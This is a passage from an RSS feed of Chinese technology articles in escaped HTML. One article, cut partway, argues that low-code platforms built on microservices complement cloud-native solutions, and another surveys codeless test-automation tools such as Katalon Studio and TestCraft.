alt="&amp;#20302;&amp;#20195;&amp;#30721;&amp;#24320;&amp;#21457;&amp;#24179;&amp;#21488;-&amp;#23545;&amp;#20113;&amp;#21407;&amp;#29983;&amp;#25972;&amp;#20307;&amp;#35299;&amp;#20915;&amp;#26041;&amp;#26696;&amp;#30340;&amp;#20851;&amp;#38190;&amp;#34917;&amp;#20805;" src="https://p1-tt.byteimg.com/origin/pgc-image/b448815b6eb34908a6a760791f607174?from=pc"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;&lt;/div&gt;  &lt;p&gt;大家可以看下当前主流的低代码开发平台提供的整体架构，整体思路和我前面描述一致。即平台要提升为组织级的平台，必须开始考虑共性业务平台的建设，顶层统一门户的建设。&lt;/p&gt;  &lt;p&gt;实际上再看上面图，会发现跟我前面谈微服务的时候谈到的基于平台+应用方式来构建整体的微服务架构完全一致。也就是说对于中间的应用我们完全可以拆分为更小粒度的微服务来构建。&lt;/p&gt;  &lt;p&gt;那么低代码开发平台本身就需要将自己两方面能力做分离：&lt;/p&gt;  &lt;ul&gt;    &lt;li&gt;      &lt;strong&gt;其一是分离其中的平台层或技术中台能力。&lt;/strong&gt;&lt;/li&gt;    &lt;li&gt;      &lt;strong&gt;其二是将应用构建模式分离为松耦合的微服务，并基于API集成&lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;但是实际上大部分的低代码开发平台无法做到这两点。或者说当前的低代码开发平台不是基于微服务架构思想来进行构建的，或者连OO思想也算不上。也正是这个原因，很多低代码开发平台只能够实现简单的单表，多表的CRUD功能。&lt;/p&gt;  &lt;h1&gt;低代码开发平台和云原生&lt;/h1&gt;  &lt;p&gt;在我前面的文章里面，给出过一个新的云原生解决方案平台整体架构如下：&lt;/p&gt;  &lt;div&gt;    &lt;img alt="&amp;#20302;&amp;#20195;&amp;#30721;&amp;#24320;&amp;#21457;&amp;#24179;&amp;#21488;-&amp;#23545;&amp;#20113;&amp;#21407;&amp;#29983;&amp;#25972;&amp;#20307;&amp;#35299;&amp;#20915;&amp;#26041;&amp;#26696;&amp;#30340;&amp;#20851;&amp;#38190;&amp;#34917;&amp;#20805;" src="https://p6-tt.byteimg.com/origin/pgc-image/fcabdd0723ea4824b19b8d062315832d?from=pc"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;&lt;/div&gt;  &lt;p&gt;在这个云原生技术平台架构中，整体的底层是容器云平台和DevOps过程支撑平台。在上面基于整个软件生命周期分为了开发态，运行态和运维态。&lt;/p&gt;  &lt;ul&gt;    &lt;li&gt;开发态重点是开发框架和环境，低代码开发平台&lt;/li&gt;    &lt;li&gt;运行态重点是容器云平台&lt;/li&gt;    &lt;li&gt;运维态重点是运维监控平台，服务链监控&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;也就是说对于开发态，在我原来沟通的时候重点是开发框架和环境，而现在将其提升为低代码开发平台。即低代码开发平台本身也是基于微服务架构对当前主流微服务开发框架的进一步封装和整合，这些封装和整合就包括了前面谈到的共性技术组件和业务组件的抽取，代码开发的可配置化和可编排化，统一的门户集成和报表展现等。&lt;/p&gt;  &lt;p&gt;    &lt;strong&gt;为何低代码开发平台是整个云原生方案的关键补充？&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;对于云原生方案在前面已经谈过多次，核心要素是微服务，DevOps和持续集成，容器云，服务网格等。所有这些技术的目的都是为了实现应用能够朝远端的快速，无缝迁移和集成。&lt;/p&gt;  &lt;p&gt;那么对于软件产品送拿到需求到最终交付上线，实际上受到两个方面的效率影响，一个是开发效率，一个是软件生命周期的集成和交付效率。而对于DevOps可以理解为解决了整个软件开发过程中集成和交付的效率问题，但是没有解决开发效率问题。&lt;/p&gt;  &lt;p&gt;那么开发效率本身的解决本身又包括两个途径：&lt;/p&gt;  &lt;ul&gt;    &lt;li&gt;      &lt;strong&gt;其一是开发人员本身技能提升，效率提升&lt;/strong&gt;&lt;/li&gt;    &lt;li&gt;      &lt;strong&gt;其二是软件开发共性资产库积累，低代码开发平台工具的使用等&lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;因此可以看到将低代码开发平台用好确实是可以提升软件开发效率。很多开发人员可能会抵触低代码开发平台，但是低代码开发平台本身也有两类。&lt;/p&gt;  &lt;p&gt;一类是完全符合主流的分层开发框架，代码和逻辑也完全开放，一类是自己进行黑盒封装并定制化自己的规则和脚本等。对于第一类平台实际上足够开放，你最终的应用也完全可以脱离低代码开发平台运行，实际需要慎重的则是第二类平台。&lt;/p&gt;  &lt;p&gt;其次，对于一个好的经过大量实践验证的低代码平台，对于简单业务功能场景功能的实现绝对是完胜一般水平的开发人员，你也不用担心平台自动化实现出来的功能有大量低级bug的问题。在我很早就说过，如果一个开发人员的工作本身就是大量重复，那么最终发展趋势是一定会被低代码开发平台或AI发展所取代。&lt;/p&gt;  &lt;p&gt;    &lt;strong&gt;低代码开发和云原生平台协同&lt;/strong&gt;&lt;/p&gt;  &lt;div&gt;    &lt;img alt="&amp;#20302;&amp;#20195;&amp;#30721;&amp;#24320;&amp;#21457;&amp;#24179;&amp;#21488;-&amp;#23545;&amp;#20113;&amp;#21407;&amp;#29983;&amp;#25972;&amp;#20307;&amp;#35299;&amp;#20915;&amp;#26041;&amp;#26696;&amp;#30340;&amp;#20851;&amp;#38190;&amp;#34917;&amp;#20805;" src="https://p6-tt.byteimg.com/origin/pgc-image/83a8f63864e74b0fbd9570f920ecdbf0?from=pc"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;&lt;/div&gt;  &lt;p&gt;经过前面分析后可以看到。&lt;/p&gt;  &lt;p&gt;可以构建一个低代码开发平台，通过该平台来进一步解决开发效率提升问题。同时代代码开发平台本身也进行代码的自动化开发和持续集成，持续部署和交付动作。&lt;/p&gt;  &lt;p&gt;云原生下的低代码开发平台应该更加开放和友好，比如提供相应的代码导出，部署包导出，对于导出的内容可以直接在标准的eclipse开发环境编译构建，可以进行部署，并脱离低代码开发平台本身运行。&lt;/p&gt;  &lt;h1&gt;将技术平台提升为低代码开发平台&lt;/h1&gt;  &lt;p&gt;在前面我分享我们自己产品进行微服务架构改造和演进的时候就谈到，为了更好地支撑上层各个微服务模块的开发和集成，构建了一个基于微服务底层架构的开发技术平台。&lt;/p&gt;  &lt;p&gt;这个技术平台是在SpingCLoud的基础上进行了各自业务组件，技术组件的扩展，同时整合了共性的类似消息，4A，流程引擎等能力，通过该平台可以更好的支撑上层功能应用的开发。&lt;/p&gt;  &lt;p&gt;整个技术平台的统一可以参考下面两张图：&lt;/p&gt;  &lt;div&gt;    &lt;img alt="&amp;#20302;&amp;#20195;&amp;#30721;&amp;#24320;&amp;#21457;&amp;#24179;&amp;#21488;-&amp;#23545;&amp;#20113;&amp;#21407;&amp;#29983;&amp;#25972;&amp;#20307;&amp;#35299;&amp;#20915;&amp;#26041;&amp;#26696;&amp;#30340;&amp;#20851;&amp;#38190;&amp;#34917;&amp;#20805;" src="https://p3-tt.byteimg.com/origin/pgc-image/76f309a593944116867168dbf20b3781?from=pc"&gt;&lt;/img&gt;    &lt;p&gt;统一技术平台&lt;/p&gt;&lt;/div&gt;  &lt;div&gt;    &lt;img alt="&amp;#20302;&amp;#20195;&amp;#30721;&amp;#24320;&amp;#21457;&amp;#24179;&amp;#21488;-&amp;#23545;&amp;#20113;&amp;#21407;&amp;#29983;&amp;#25972;&amp;#20307;&amp;#35299;&amp;#20915;&amp;#26041;&amp;#26696;&amp;#30340;&amp;#20851;&amp;#38190;&amp;#34917;&amp;#20805;" src="https://p1-tt.byteimg.com/origin/pgc-image/7aaa8771c7b6415c91ca7d54dfceaa7e?from=pc"&gt;&lt;/img&gt;    &lt;p&gt;统一技术栈&lt;/p&gt;&lt;/div&gt;  &lt;p&gt;由于前期公司技术平台本身已经实现了公共流程平台+4A，因此在构建新技术平台的时候重点是对于原来这块共性能力进行改造和集成。同时技术平台对微服务开源框架和工具进行整合，实现在整个项目建设和实施中最常用的一些关键能力自动化，这些包括:&lt;/p&gt;  &lt;ul&gt;    &lt;li&gt;最基本的单据维护功能可配置&lt;/li&gt;    &lt;li&gt;共性基础组件封装和可复用&lt;/li&gt;    &lt;li&gt;自定义查询功能全自动化&lt;/li&gt;    &lt;li&gt;自定义报表功能的配置和实现&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;在上面这些基本都实现了，接着的重点就是将整个技术平台提升为一个完整意义上的低代码开发平台。平台的核心要素实际上我在前面已经说明，那么重点自然就在于表单建模和可视化设计实现，同时实现表单建模和流程，权限，数据建模之间的协同和集成。&lt;/p&gt;  &lt;p&gt;对于自定义表单实现参考界面如下：&lt;/p&gt;  &lt;div&gt;    &lt;img alt="&amp;#20302;&amp;#20195;&amp;#30721;&amp;#24320;&amp;#21457;&amp;#24179;&amp;#21488;-&amp;#23545;&amp;#20113;&amp;#21407;&amp;#29983;&amp;#25972;&amp;#20307;&amp;#35299;&amp;#20915;&amp;#26041;&amp;#26696;&amp;#30340;&amp;#20851;&amp;#38190;&amp;#34917;&amp;#20805;" src="https://p3-tt.byteimg.com/origin/pgc-image/21afb54b0917409fbf90ab497bb7f7af?from=pc"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;&lt;/div&gt;  &lt;p&gt;我们希望做到和实现的就是：&lt;/p&gt;  &lt;p&gt;    &lt;strong&gt;表单+数据模板：&lt;/strong&gt;可在表单基础上配置，应用查询条件、列表字段排序、列表的操作按钮、表单操作按钮等，一键生成到系统菜单，快速实现应用零代码开发。&lt;/p&gt;  &lt;p&gt;    &lt;strong&gt;表单设计+流程引擎：&lt;/strong&gt;表单挂接到流程节点，变成流程表单，可根据每个节点的业务情况再次配置表单权限、表单前后置事件，根据每个节点进行打印模块配置。&lt;/p&gt;  &lt;p&gt;    &lt;strong&gt;表单设计+代码生成器：&lt;/strong&gt;通过表单器配置表单布局、权限、数据视图等基本要素后，结合代码生成器生成前端、微服务接口、持久层等各个层次代码，只需手动特殊业务代码即可，节省80%以上代码开发时间。&lt;/p&gt;  &lt;p&gt;在前期我们不做规则引擎，原因我在前面已经分析和说明过。那么对于复杂功能的实现就不可能通过表单设计器全部自动化来完成。&lt;/p&gt;  &lt;p&gt;对于这种情况，我们还是沿用传统的代码生成的方式，即将复杂功能实现过程中的核心基础能力全部按微服务框架分层模式全部生成出来，你可以将生成出来的代码导入到你的开发环境。导入后就是完全可以编译通过的版本。&lt;/p&gt;  &lt;p&gt;你只需要基于这个来扩展你需要增加的规则和逻辑即可。&lt;/p&gt;  &lt;p&gt;当然对于简单功能的实现和部署交付，完全做到零代码，一键进行部署。但是我们同样提供部署包和源代码导出的能力，也就是最终导出的内容完全可以脱离我低代码平台进行运行。&lt;/p&gt;  &lt;p&gt;    &lt;strong&gt;符合当前中台和微服务架构思想&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;在整个平台构建的时候我们使用 Spring Cloud 作为微服务分布式系统，并且 FTMP 还基于 Spring Boot 进行了通用性模块的封装，例如鉴权服务、调度服务、消息服务等等；前端使用 VUE 作为开发组件进行二次封装和改造并自研了前端组件库，使之更适合企业级应用系统的使用体验。&lt;/p&gt;  &lt;p&gt;对于低代码开发平台的构建不仅仅是采用微服务开发框架，更加重要的是符合当前主流的中台和微服务架构思想。简单来说就是：&lt;/p&gt;  &lt;ul&gt;    &lt;li&gt;平台开发各个小应用本身是可以做到完全自治和相互间解耦&lt;/li&gt;    &lt;li&gt;应用的构建进一步贯彻SOA分层构建思路&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;对于SOA分层构建思路，一个重点就是面向对象和API接口方式进行整个应用构建。&lt;/p&gt;  &lt;div&gt;    &lt;img alt="&amp;#20302;&amp;#20195;&amp;#30721;&amp;#24320;&amp;#21457;&amp;#24179;&amp;#21488;-&amp;#23545;&amp;#20113;&amp;#21407;&amp;#29983;&amp;#25972;&amp;#20307;&amp;#35299;&amp;#20915;&amp;#26041;&amp;#26696;&amp;#30340;&amp;#20851;&amp;#38190;&amp;#34917;&amp;#20805;" src="https://p6-tt.byteimg.com/origin/pgc-image/285099002b064ce0a1e843d7dc7261cd?from=pc"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;&lt;/div&gt;  &lt;p&gt;简单来说就是对于表单建模和数据建模之间要通过对象建模+接口建模来实现解耦。&lt;/p&gt;  &lt;p&gt;首先是进行一个完整的对象定义，对象本身朝下可以生成数据库表，朝上可以发布API接口服务。而对于表单建模不再直接和数据库表关联，而是直接引用对应的API接口服务，在这种情况下对应API接口服务本身也会启用强服务契约模式进行定义和设计。&lt;/p&gt;  &lt;p&gt;当有了独立的接口层的时候，可以看到要实现上层功能组合或组装将变得更加容易和方便，即我们可以提供一个类似传统BPEL流程或服务编排的工具，可视化来进行上层业务的接口组装和编排。&lt;/p&gt;  &lt;p&gt;当然你也可以只使用数据建模+对象接口建模功能，来实现中台基础能力或API能力开放平台，而对应上层前端应用自己开发，这些场景和模式也可以做到完全支持。&lt;/p&gt;  &lt;p&gt;以上则是我们构建低代码开发平台的关键思路，一个完全基于标准的微服务架构和SOA分层思路构建的完全开放的低代码开发平台。&lt;/p&gt;  &lt;p&gt;在低代码开发时代，我个人更加推荐这种    &lt;strong&gt;基于对象服务化的分层开发模式&lt;/strong&gt;。这个本身也是更加贴近我当前中台和微服务的构建思路。即你首先去构建你的对象并发布你的服务，然后再考虑如何基于这些发布的服务类构建上层的应用。即我们的开发过程横向拆分为两端。而中间基于服务进行松耦合连接。&lt;/p&gt;  &lt;p&gt;即：    &lt;strong&gt;微服务 + 服务 + 前端应用。&lt;/strong&gt;&lt;/p&gt;  &lt;div&gt;    &lt;img alt="&amp;#20302;&amp;#20195;&amp;#30721;&amp;#24320;&amp;#21457;&amp;#24179;&amp;#21488;-&amp;#23545;&amp;#20113;&amp;#21407;&amp;#29983;&amp;#25972;&amp;#20307;&amp;#35299;&amp;#20915;&amp;#26041;&amp;#26696;&amp;#30340;&amp;#20851;&amp;#38190;&amp;#34917;&amp;#20805;" src="https://p1-tt.byteimg.com/origin/pgc-image/6c3c70276caa4105b377e0c44de18e05?from=pc"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;&lt;/div&gt;  &lt;p&gt;不是简单的我们传统应用拆分小了，而且我们的前端应用模块，后端能力模块也全部微服务化，形成我们当前说的平台+中台+前端应用的分层模式。&lt;/p&gt;  &lt;p&gt;这种模式如果再和我们当前的DevOps和容器化技术结合，那么整个开发完成的应用就更加容易持续发布和交付，也更加容易在后续继续弹性资源扩展和调度。&lt;/p&gt;
    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/61009-%E4%BB%A3%E7%A0%81-%E5%BC%80%E5%8F%91-%E5%B9%B3%E5%8F%B0</guid>
      <pubDate>Sat, 14 Nov 2020 08:33:20 CST</pubDate>
    </item>
    <item>
      <title>低代码开发平台-对云原生整体解决方案的关键补充</title>
      <link>https://itindex.net/detail/61008-%E4%BB%A3%E7%A0%81-%E5%BC%80%E5%8F%91-%E5%B9%B3%E5%8F%B0</link>
      <description>&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/61008-%E4%BB%A3%E7%A0%81-%E5%BC%80%E5%8F%91-%E5%B9%B3%E5%8F%B0</guid>
      <pubDate>Sat, 14 Nov 2020 08:30:30 CST</pubDate>
    </item>
    <item>
      <title>无代码化的测试自动化</title>
      <link>https://itindex.net/detail/60939-%E4%BB%A3%E7%A0%81-%E6%B5%8B%E8%AF%95-%E8%87%AA%E5%8A%A8%E5%8C%96</link>
      <description>&lt;div&gt;    &lt;p&gt;      &lt;img&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;2020年软件测试自动化的趋势除了智能化、云化、敏捷化/DevOps化、模型化等，还有一个亮眼的存在：Codeless Test Automation，即无代码化的测试自动化。不是没有代码，而是测试人员不用自己开发测试代码，使用Codeless测试工具可以帮助我们生成可以执行的测试用例集。如此将大大降低自动化测试的技术门槛，没有编程经验的测人员甚至是业务分析人员也可以很快上手，是不是令人心动？&lt;/p&gt;    &lt;p&gt;实际上，这不仅是软件测试的一个新趋势，而且是整个软件工程的一个新趋势：无代码化的软件应用，比如国际上比较流行的无代码化网站创建工具包括Wix、Squarespace等。软件测试正是顺应这一趋势，出现了一些无代码化的测试工具。&lt;/p&gt;    &lt;p&gt;在目前的软件测试中，为了达到一个比较高的测试自动化水平，测试人员还是有很多工作要做的，比如搭建测试环境、设计测试用例、开发测试脚本，有的组织还自己开发自动化测试工具或框架，这些几乎都需要手工完成，测试自动化也仅仅体现在测试执行的自动化上，开发测试脚本、适配到不同的软件版本、不同的浏览器（UI自动化测试），以及调试代码让其能够稳定运行一般都要花费不少时间。因此，即使在测试自动化水平比较高的团队里，软件测试也难免会成为软件快速交付的瓶颈。&lt;/p&gt;    &lt;p&gt;当一个团队在单元测试方面投入不够，只能基于Selenium、Appium这样的测试工具来编写大量端到端的UI自动化测试脚本，团队里的开发人员一般是不负责的，就要求测试人员具备一定的编程能力，对于很多组织来说，大多数软件测试人员的编程能力比较弱，这也拖累了自动化水平的提高和面向测试自动化的转型。&lt;/p&gt;    &lt;p&gt;Codeless自动化测试工具的出现正是为了解决上述难题，这类工具一般有两个核心特点：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;提供友好的界面，测试人员不需要编写代码即可通过界面上的操作完成测试用例的开发。&lt;/li&gt;      &lt;li&gt;通过人工智能（AI）和机器学习算法使测试用例具有自愈机制，能够自动进化和完善，自动修复和维护测试脚本中的对象和元素定位。&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt;Codeless自动化测试工具能够带来的好处也显而易见，这就是更高的测试覆盖率和更短的软件交付周期。不仅节省测试脚本的开发时间，也节省调试时间，而且提升测试代码的可重用性，可以跨项目跨版本重用测试代码，而不需要手动更新和调试测试代码。此外，也有利于促进敏捷团队中不同技能和职责的团队成员参与软件测试，比如团队中的业务分析人员。&lt;/p&gt;    &lt;p&gt;下面列举一些Codeless自动化测试工具。&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;1.  Katalon Studio：&lt;/strong&gt;&lt;/p&gt;    &lt;br /&gt;Katalon Studio是无代码化的测试工具里面最值得关注的，它是2015年推出的一个自动化测试框架，目前在国外各类机构的Top自动化测试工具排行榜中都排名靠前。另外，它的开源属性（也有收费版本）也大大促进了该工具的普及和发展，不过目前还没有中文版本。    &lt;p&gt;      &lt;img&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;Katalon Studio使用Selenium和Appium作为底层框架，支持Web和Android、iOS移动应用的UI自动化测试，支持多种主流浏览器。也支持Restful和Soap协议的API接口自动化测试。作为无代码的测试工具，既支持有编程经验的测试人员使用Groovy语言开发测试脚本，同时也支持没有编程经验的测试人员开发测试用例。&lt;/p&gt;    &lt;p&gt;在UI自动化测试方面，它提供录制-回放功能，Web recorder utility接收应用程序上的所有动作，转化成测试用例。也提供object spy功能在界面上捕获元素对象来支持用户自己编写测试用例。&lt;/p&gt;    &lt;p&gt;在最新的7.6版本中，Katalon Studio提供了UI测试用例自愈（self-healing）功能：在测试用例运行时，当使用缺省的定位方法（比如XPath）定位不到这个元素时，工具会自动尝试其它的定位方式进行元素定位（比如CSS），让测试得以运行，并在随后的测试中也使用新的定位方式。测试结束后会建议更新测试用例：用新的定位方式代替不工作的定位方式。但使用这个功能需要企业版的License。至于这个功能是不是通过AI技术实现的，在Katalon Studio的官方指南中并没有强调。&lt;/p&gt;    &lt;p&gt;当然，作为一个优秀的测试工具的标配，Katalon Studio提供多种plug-in支持和Jira、Git、Jenkins、Jmeter、Sauce Labs等多款工具的集成，实现和测试管理、缺陷管理和持续集成管理的集成。&lt;/p&gt;    &lt;p&gt;对于Katalon Studio的功能，后续还会专门介绍。&lt;/p&gt;    &lt;p&gt;            &lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;2.  TestCraft：&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;TestCraft是一款商业软件，以SaaS的模式为Web应用提供自动化测试服务，用户通过账号登录Web管理界面，因此也是一款云化的测试工具。底层也是基于Selenium框架。TestCraft通过两种方式生成测试用例：一种是通过图形界面建模生成、调整测试步骤，等功能实现后再为每个测试步骤添加控件元素。因此，这也可以说是一款模型化（MBT）测试工具——在需求分析阶段就创建测试步骤，有助于团队内部沟通澄清需求。另一种是在软件功能实现以后通过录制—回放生成测试用例。&lt;/p&gt;    &lt;p&gt;      &lt;img&gt;&lt;/img&gt;&lt;/p&gt;TestCraft也支持所有主流的浏览器，可以同时在多个浏览器上运行测试；为一个测试用例创建多个测试数据集；有定时执行和测试结果通知功能，为一个测试用例创多个测试数据集；也支持和CI/CD管理工具像Jenkins的集成，以及和Jira集成。TestCraft也提供了控件的动态重新绑定机制——“on-the-fly rebinding”，在测试执行过程中修复元素定位。优点：    &lt;ul&gt;      &lt;li&gt;为每一个测试用例创建一个模型，直观的展示测试执行的路径，适合设计复杂的测试场景。&lt;/li&gt;      &lt;li&gt;提供“智能绑定”式定位器的推荐和自我修复。缺点：只能使用专有的框架，无法导入/导出测试脚本。&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;3.  Perfecto&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;Perfecto是一款商业软件，提供云化的测试自动化解决方案，用于Web和移动应用的测试。它远程提供多款手机及平板真机，支持在远程iOS和Android设备上进行手工或自动化测试，可以在多台设备上并行运行自动化测试。基于录制-回放的无代码化测试用例开发是Perfecto提供的功能之一，如下图所示，实时捕捉界面上的操作在左边生成和调整测试步骤。&lt;/p&gt;    &lt;p&gt;      &lt;img&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;大家有兴趣可以到其官网上看一下demo:https://www.perfecto.io/codeless-automation。基于AI的自愈功能让测试脚本能够连续运行，自我完善。另外它还提供基于AI技术的测试分析和缺陷分类,帮助快速定位缺陷。总之，值得大家去深入学习它所提供的这些智能化的功能。&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;4.  TestingWhiz&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;TestingWhiz也可以支持Web及移动端的UI自动化测试，以及Web Service的API测试。基于关键字和数据驱动测试用例。它提供的Visual Recorder可以支持桌面应用、flash应用的元素识别和web UI测试。TestingWhiz提供recorder功能可以录制和存储web应用控件，桌面应用控件，以及移动应用的控件。&lt;/p&gt;    &lt;p&gt;      &lt;img&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;     &lt;p&gt;除上述工具之外，还有CloudQA、TestProject、Mabl等其它的Codeless测试工具，就不一一介绍了。&lt;/p&gt;    &lt;p&gt;其实，基于录制-回放技术的UI自动化测试工具很早就有，当时主要针对桌面应用，也可以认为它们是“无代码化”测试工具的前身。在国际敏捷联盟网站整理的“Agile Practices Timeline”（敏捷实践编年史）也有这类工具的相关记载：&lt;/p&gt;    &lt;h3&gt;      &lt;strong&gt;1990:&lt;/strong&gt;&lt;/h3&gt;Testingdiscipline dominated by “black box” techniques, in particular in the form of“capture and replay” testing tools （    &lt;strong&gt;1990年：&lt;/strong&gt;黑盒（black box）测试技术在测试学科中占据了主导地位，尤其是“捕获与回放”类型的测试工具。）1988-1990:    &lt;h3&gt;&lt;/h3&gt;The rise of event-driven GUI software and their specific testingchallenges create an opportunity for “capture and replay” test automation toolsprovided by companies such as Segue or Mercury; this type of tool dominates themarket for the next decade.（    &lt;strong&gt;1988年-1990年：&lt;/strong&gt;事件驱动的GUI软件的兴起及其特定的测试方面的挑战为“捕获和回放”类测试自动化工具创造了机会。这类工具由Segue、Mercury等公司开发，并在今后10年间占据了市场主导地位。）    &lt;strong&gt;1997:&lt;/strong&gt;    &lt;h3&gt;&lt;/h3&gt;The testing tool JUnit is written by Beck and Gamma, inspired byBeck’s earlier work on SUnit; its growing popularity over the next few yearsmarks the end of the “capture and replay” era.（    &lt;strong&gt;1997年：&lt;/strong&gt;Beck和Gamma合作开发了测试工具JUnit，灵感来自Beck早期开发的工具SUnit。JUnit在未来几年日益流行，标志着测试工具“捕获和回放”时代的落幕。）    &lt;p&gt;这样看起来无代码化也不是一个新生事物，让人不得不感慨软件测试也经历了一次轮回。想起20年前使用Silk Test做桌面应用的UI自动化测试的痛苦经历：几乎每个操作系统上的测试脚本都需要重新适配，有了新的软件版本也经常不得不重新调试测试脚本，尝试了一年终于放弃……。传统的录制-回放测试工具代码结构化差，不支持数据驱动，对测试用例组织和维护方面做得差。整个测试生态当然也不如现在，现在很多工具都支持和其它工具的集成，自己不具备的功能可以通过plug-in和其它工具进行集成。&lt;/p&gt;    &lt;p&gt;另外，功能好不好用关键还在于实现的细节。这里简单对比一下Selenium IDE和Katalon Studio的录制-回放功能。&lt;/p&gt;    &lt;table cellpadding="0" cellspacing="0"&gt;      &lt;tr&gt;        &lt;td valign="top" width="85"&gt;          &lt;br /&gt;&lt;/td&gt;        &lt;td valign="top" width="217"&gt;          &lt;p&gt;            &lt;strong&gt;Selenium IDE&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;        &lt;td valign="top" width="236"&gt;          &lt;p&gt;            &lt;strong&gt;Katalon Studio&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;        &lt;td valign="top" width="85"&gt;          &lt;p&gt;支持类型&lt;/p&gt;&lt;/td&gt;        &lt;td valign="top" width="203"&gt;          &lt;p&gt;            &lt;strong&gt;Web browser&lt;/strong&gt;: Chrome,Firefox&lt;/p&gt;&lt;/td&gt;        &lt;td valign="top" width="236"&gt;          &lt;p&gt;            &lt;strong&gt;Web Browser&lt;/strong&gt;: Chrome, Firefox, IE,Edge Chromium&lt;/p&gt;          &lt;p&gt;            &lt;strong&gt;Mobile&lt;/strong&gt;: Android, iOS&lt;/p&gt;          &lt;p&gt;            &lt;strong&gt;Windows桌面应用&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;        &lt;td valign="top" width="85"&gt;          &lt;p&gt;Web browser录制功能&lt;/p&gt;&lt;/td&gt;        &lt;td valign="top" width="217"&gt;          &lt;p&gt;先安装所支持的web browser，添加对应的Selenium IDE plug-in。&lt;/p&gt;&lt;/td&gt;        &lt;td valign="top" width="236"&gt;          &lt;p&gt;不需要事先安装web browser，录制测试脚本时在Katalon Studio界面上选择一种web browser&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;        &lt;td valign="top" width="85"&gt;          &lt;p&gt;录制&lt;/p&gt;&lt;/td&gt;        &lt;td valign="top" width="217"&gt;          &lt;p&gt;实时生成每一个测试步骤&lt;/p&gt;&lt;/td&gt;        &lt;td valign="top" width="236"&gt;实时生成每一个测试步骤，并在浏览器上同时捕获操作的界面元素，录制完成后存储到object repository中供编辑和重用&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;        &lt;td valign="top" width="85"&gt;脚本编辑&lt;/td&gt;        &lt;td valign="top" width="217"&gt;可以对测试步骤和输入数据增加、删除、修改&lt;/td&gt;        &lt;td valign="top" width="236"&gt;可以对测试步骤和输入数据增加、删除、修改。支持的关键字比较多，也支持多种丰富脚本逻辑的statement，比如if,else, for, while等&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;        &lt;td valign="top" width="85"&gt;测试脚本执行&lt;/td&gt;        &lt;td valign="top" width="217"&gt;只能在录制脚本的web browser运行&lt;/td&gt;        &lt;td valign="top" width="236"&gt;可以选择任一选择的web browser，目前支持5种，而且无需安装。收费版有脚本自愈功能。&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;        &lt;td valign="top" width="85"&gt;支持的代码&lt;/td&gt;        &lt;td valign="top" width="217"&gt;支持export成多种语言&lt;/td&gt;        &lt;td valign="top" width="236"&gt;只支持Groovy&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;        &lt;td valign="top" width="85"&gt;代码查看&lt;/td&gt;        &lt;td valign="top" width="217"&gt;需要其它工具编辑、查看&lt;/td&gt;        &lt;td valign="top" width="236"&gt;界面上可以直接切换显示测试脚本和测试代码并进行编辑&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;        &lt;td valign="top" width="85"&gt;数据驱动&lt;/td&gt;        &lt;td valign="top" width="217"&gt;需要编辑export出的测试代码以支持数据驱动&lt;/td&gt;        &lt;td valign="top" width="236"&gt;支持在界面上创建、编辑、导入数据文件&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;总结&lt;/strong&gt;&lt;/p&gt;  无代码化的测试工具的兴起从加快软件交付方面来说肯定是很有价值，但从人的角度来说，对于测试人员的职业发展其实会带来冲击，有不少测试人员说：“好不容易培养起来的一点儿编程能力这下也用不上了，真不知道将来我的核心竞争力是什么”。懂业务的测试人员当然也很有价值，但往往不受重视。留给大家的时间也许真的不多了，需要思考一下未来。    &lt;p&gt;      &lt;br /&gt;      &lt;strong&gt;PS：明天有重要消息发布，请关注&lt;/strong&gt;      